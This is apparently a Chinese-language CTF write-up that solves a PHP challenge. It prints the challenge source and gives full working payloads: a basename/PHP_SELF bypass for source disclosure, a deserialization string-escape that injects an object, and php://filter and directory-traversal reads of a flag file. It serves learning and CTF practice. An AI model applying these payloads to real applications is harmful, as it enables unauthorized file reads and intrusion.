EZUnserialize&SSRF

网络安全·CTF · 2023-10-29 · 726 人浏览

index.php

include 'tm.php'; // Next step in tm.php
if (preg_match('/tm\.php\/*$/i', $_SERVER['PHP_SELF']))
{
    exit("no way!");
}
if (isset($_GET['source']))
{
    $path = basename($_SERVER['PHP_SELF']);
    if (!preg_match('/tm.php$/', $path) && !preg_match('/index.php$/', $path))
    {
        exit("nonono!");
    }
    highlight_file($path);
    exit();
}

basename函数漏洞:

在使用默认语言环境设置时,basename() 会删除文件名开头的非 ASCII 字符。
例如:

$path1="/www/%ffindex.php";
echo basename($path1)."<br />";
//output: index.php
$path2="/www/index.php%ff";
echo basename($path2)."<br />";
//output: index.php
$path3="/www/index.php/%ff";
echo basename($path3)."<br />";
//output: index.php
$path4="/www/index.php/+";
echo basename($path4)."<br />";
//output: +

Apeach解析问题

这个问题不会出现在Nginx(1.15.11)上,我测试了Apeach(2.4.39),$_SERVER['PHP_SELF']中的值取决于url。
测试代码:

//test.php
echo $_SERVER['PHP_SELF'];
  • 访问http://127.0.0.1/test.php
  • Output: test.php
  • 访问http://127.0.0.1/test.php/flag.php
  • Output: test.php/flag.php
  • 访问http://127.0.0.1/test.php/flag.php?source
  • Output: test.php/flag.php

这个特性保证了我们正常访问了test.php也能操作$_SERVER['PHP_SELF']的值。这使得在这个题中我们可以改变highlight_file()的文件,实现SSRF。
我们可以这样利用:

//$_SERVER['PHP_SELF']="flag.php/%ff"
$path=$_SERVER['PHP_SELF'];
//限制不能以flag.php结尾
if (preg_match('/flag\.php\/*$/i', $path))
{
    exit("die");
}
echo basename($path);
//output: flag.php

payload:/index.php/tm.php/%ff?source

tm.php

highlight_file(__FILE__);

class UserAccount
{
    protected $username;
    protected $password;
 
    public function __construct($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
    }
}
 
function object_sleep($str)
{
    $ob = str_replace(chr(0).'*'.chr(0), '@0@0@0@', $str);
    return $ob;
}
 
function object_weakup($ob)
{
    $r = str_replace('@0@0@0@', chr(0).'*'.chr(0), $ob);
    return $r;
}

class order
{
    public $f;
    public $hint;
    
    public function __construct($hint, $f)
    {
        $this->f = $f;
        $this->hint = $hint;
    }
    
    public function __wakeup()
    {
        //something in hint.php
        if ($this->hint != "pass" || $this->f != "pass") {
            $this->hint = "pass";
            $this->f = "pass";
        }
    }
    
    public function __destruct()
    {
        if (filter_var($this->hint, FILTER_VALIDATE_URL))
        {
            $r = parse_url($this->hint);
            if (!empty($this->f)) {
                if (strpos($this->f, "try") !==  false && strpos($this->f, "pass") !== false) {
                    @include($this->f . '.php');
                } else {
                    die("try again!");
                }
                if (preg_match('/prankhub$/', $r['host'])) {
                    @$out = file_get_contents($this->hint);
                    echo $out;
                } else {
                    die("error");
                }
            } else {
                die("try it!");
            }
        }
        else
        {
            echo "Invalid URL";
        }
    }
}

$username = $_POST['username'];
$password = $_POST['password'];

$user = serialize(new UserAccount($username, $password));
unserialize(object_weakup(object_sleep($user)))

这是一道考察PHP反序列化逃逸与PHP伪协议的题目。

考点一:PHP反序列化逃逸

这是经典的变短逃逸,我们注意到在序列化字符串被转换时,由三个字符转变为了七个字符,我们可以利用这个特点进行字符串逃逸。

考点二:PHP伪协议绕过

include函数中含有可变参数,但是这个参数有strpos函数进行合法性检验,很明显第一个解题点的思路就是绕过检验然后使用php伪协议进行文件读取,通过注释我们可以知道我们的目标文件。

所以我们这里要利用到PHP伪协议的一个特性,PHP伪协议中出现未知的协议键时会自动将其忽略,这样我们就可以绕过检验,然后使用php://filter读取hint.php的内容。

构造payload1:获取hint.php

payload:username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=";s:8:"password";O:5:"order":3:{s:1:"f";s:56:"php://filter/convert.base64-encode/trypass/resource%3dhint";s:4:"hint";s:20:"http://www.baidu.com";}}

注:使用%00来代替空字符
正常反序列化之后的字符串为O:11:"UserAccount":2:{s:11:"%00*%00username";s:5:"admin";s:11:"%00*%00password";s:6:"123456";}
我们向username传入@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@,向password传入";s:8:"password";O:5:"order":3:{s:1:"f";s:56:"php://filter/convert.base64-encode/trypass/resource%3dhint";s:4:"hint";s:20:"http://www.baidu.com";}},这样生成的反序列化字符串为:(使用便于观察的格式)

O:11:"UserAccount":2:
{
    s:11:"%00*%00username";
    s:49:"@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@";
    s:11:"%00*%00password";
    s:147:"";s:8:"password";O:5:"order":3:{s:1:"f";s:56:"php://filter/convert.base64-encode/trypass/resource%3dhint";s:4:"hint";s:20:"http://www.baidu.com";}}";
}

转换之后:

O:11:"UserAccount":2:
{
    s:11:"%00*%00username";
    s:49:"%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00%00*%00";s:11:"%00*%00password";s:147:"";
    s:8:"password";
    O:5:"order":3:
    {
        s:1:"f";
        s:56:"php://filter/convert.base64-encode/trypass/resource=hint";
        s:4:"hint";
        s:20:"http://www.baidu.com";
    }
}";}

由于username中内容缩短导致";s:11:"%00*%00password";s:147:"这段内容被吞进username中,导致后面的order类逃逸出来进行反序列化。
获得的内容:PD9waHANCmVjaG8gIlRoaXMgaXMgdGhlIHdyb25nIHdheSI7CiRmbGFnID0gInlvdSBjYW4gZmluZCBpdCBpbiAvZjExMTE0NDQ0NDk5OTkudHh0IjsNCj8+
将hint中赋值一个正常的url链接通过filter_var函数,然后使用base64编码读取hint.php内容。

hint.php

echo "This is the wrong way";
$flag = "you can find it in /f1111444449999.txt";

可见我们直接访问hint.php无法得到flag位置,现在我们知道flag位于根目录,利用另一个特性进行读取。

考点三:获取flag

file_get_contents函数,它可以将一个整个文件读入一个字符串,在SSRF漏洞中有不少它的身影,这里利用到它的一个特性:当它遇到不认识的协议时会将此字符串当做文件路径处理,也就是将协议键视为一个文件夹来处理,这样就会导致我们只要不断的访问上级文件夹就能造成目录穿越

构造payload2:读取flag

payload:username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=";s:8:"password";O:5:"order":3:{s:1:"f";s:56:"php://filter/convert.base64-encode/trypass/resource%3dhint";s:4:"hint";s:60:"abc://prankhub/../../../../../../../../../f1111444449999.txt";}}

未授权访问 PHP 任意文件读取 目录穿越 PHP反序列化 逃逸 726 Views
本站已在互联网运行了 Theme Jasmine by Kent Liao